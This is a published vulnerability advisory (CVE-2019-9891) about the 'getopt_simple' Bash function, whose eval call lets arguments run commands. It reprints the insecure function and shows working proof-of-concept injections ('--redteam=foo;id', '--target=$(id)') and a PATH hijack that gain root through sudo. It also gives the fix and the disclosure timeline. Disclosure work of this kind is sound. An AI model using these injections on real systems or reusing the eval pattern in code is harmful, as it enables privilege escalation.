Advisory: Code Execution via Insecure Shell Function getopt_simple

RedTeam Pentesting discovered that the shell function "getopt_simple",
as presented in the "Advanced Bash-Scripting Guide", allows execution of
attacker-controlled commands.


Details
=======

Product: Advanced Bash-Scripting Guide
Affected Versions: all
Fixed Versions: -
Vulnerability Type: Code Execution
Security Risk: medium
Vendor URL: https://www.tldp.org/LDP/abs/html/
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-007
Advisory Status: private
CVE: CVE-2019-9891
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9891


Introduction
============

The document "Advanced Bash-Scripting Guide" [1] is a tutorial for
writing shell scripts for Bash. It contains many example scripts
together with in-depth explanations about how shell scripting works.


More Details
============

During a penetration test, RedTeam Pentesting was able to execute
commands as an unprivileged user (www-data) on a server. Among others,
it was discovered that this user was permitted to run the shell script
"cleanup.sh" as root via "sudo":

------------------------------------------------------------------------
$ sudo -l
Matching Defaults entries for user on srv:
    env_reset, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on srv:
    (root) NOPASSWD: /usr/local/sbin/cleanup.sh
------------------------------------------------------------------------

The script "cleanup.sh" starts with the following code:

------------------------------------------------------------------------
#!/bin/bash

getopt_simple()
{
    until [ -z "$1" ]
    do
      if [ ${1:0:2} = '--' ]
      then
          tmp=${1:2}               # Strip off leading '--' . . .
          parameter=${tmp%%=*}     # Extract name.
          value=${tmp##*=}         # Extract value.
          eval $parameter=$value
      fi
      shift
    done
}

target=/tmp

# Pass all options to getopt_simple().
getopt_simple $*

# list files to clean
echo "listing files in $target"
find "$target" -mtime 1
------------------------------------------------------------------------

The function "getopt_simple" is used to set variables based on
command-line flags which are passed to the script. Calling the script
with the argument "--target=/tmp" sets the variable "$target" to the
value "/tmp". The variable's value is then used in a call to "find". The
source code of the "getopt_simple" function has been taken from the
"Advanced Bash-Scripting Guide" [2]. It was also published as a book.
RedTeam Pentesting identified two different ways to exploit this
function in order to run attacker-controlled commands as root.

First, a flag can be specified in which either the name or the value
contain a shell command. The call to "eval" will simply execute this
command.

------------------------------------------------------------------------
$ sudo /usr/local/sbin/cleanup.sh '--redteam=foo;id'
uid=0(root) gid=0(root) groups=0(root)
listing files in /tmp

$ sudo /usr/local/sbin/cleanup.sh '--target=$(id)'
listing files in uid=0(root) gid=0(root) groups=0(root)
find: 'uid=0(root) gid=0(root) groups=0(root)': No such file or directory

$ sudo /usr/local/sbin/cleanup.sh '--target=$(ls${IFS}/)'
listing files in bin
boot
dev
etc
[...]
------------------------------------------------------------------------

Instead of injecting shell commands, the script can also be exploited by
overwriting the "$PATH" variable:

------------------------------------------------------------------------
$ mkdir /tmp/redteam

$ cat <<EOF > /tmp/redteam/find
#!/bin/sh
echo "executed as root:"
/usr/bin/id
EOF

$ chmod +x /tmp/redteam/find

$ sudo /usr/local/sbin/cleanup.sh --PATH=/tmp/redteam
listing files in /tmp
executed as root:
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------


Workaround
==========

No workaround available.


Fix
===

Replace the function "getopt_simple" with the built-in function
"getopts" or the program "getopt" from the util-linux package.
Examples on how to do so are included in the same tutorial [3][4].


Security Risk
=============

If a script with attacker-controlled arguments uses the "getopt_simple"
function, arbitrary commands may be invoked by the attackers. This is
particularly interesting if a privilege boundary is crossed, for example
in the context of "sudo". Overall, this vulnerability is rated as a
medium risk.


Timeline
========

2019-02-18 Vulnerability identified
2019-03-20 Customer approved disclosure to vendor
2019-03-20 Author notified
2019-03-20 Author responded, document is not updated/maintained any more
2019-03-20 CVE ID requested
2019-03-21 CVE ID assigned
2019-03-26 Advisory released 


References
==========

[1] https://www.tldp.org/LDP/abs/html/
[2] https://www.tldp.org/LDP/abs/html/string-manipulation.html#GETOPTSIMPLE
[3] https://www.tldp.org/LDP/abs/html/internal.html#EX33
[4] https://www.tldp.org/LDP/abs/html/extmisc.html#EX33A


RedTeam Pentesting GmbH
=======================

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=============================

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